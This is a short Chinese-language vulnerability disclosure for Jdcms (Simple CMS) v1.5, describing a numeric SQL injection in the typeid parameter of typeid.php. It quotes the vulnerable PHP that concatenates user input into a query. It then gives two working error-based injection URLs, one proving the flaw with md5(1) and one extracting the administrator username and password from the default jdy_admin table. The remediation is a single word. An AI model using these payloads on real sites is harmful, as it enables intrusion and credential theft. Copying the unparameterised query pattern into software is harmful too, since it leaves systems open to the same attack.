###0x01漏洞描述
Jdcms(简单CMS) v1.5在页面typeid.php对参数typeid过滤不严格,导致出现SQL注入漏洞,远程攻击者可以结合回显报错等方式,执行SQL指令。
###0x02漏洞分析
问题出现在jdcms的typeid.php中,无视gpc和全局转义:
```
<?php
require_once "admin/common.php";
require_once(MOBAN_PATH_QZ."header.html");
$typeid=isset($_GET['typeid']) ? $_GET['typeid'] : 1;
//提取分类列表
$type=$db->fetch_array(mysql_query($sql="select * from ".$db->tablepre."newstype where newstypeid=".$typeid));//typeid参数存在注入,数字型;
?>
```
可见,没有对输入的参数typeid进行有效过滤,导致出现SQL注入漏洞。
###0x03漏洞利用
利用该漏洞计算md5(1)的POC如下:
```
http://***.com/typeid.php?typeid=1 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT(md5(1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#
```

该CMS默认的管理员数据表名称为jdy_admin,可以利用如下的POC获取管理员用户名和密码:
```
http://***.com/typeid.php?typeid=1 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select concat(0x247e7e7e24,username,0x2a2a2a,password,0x247e7e7e24) from jdy_admin limit 1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#
```

###0x04修复方案
过滤。
暂无评论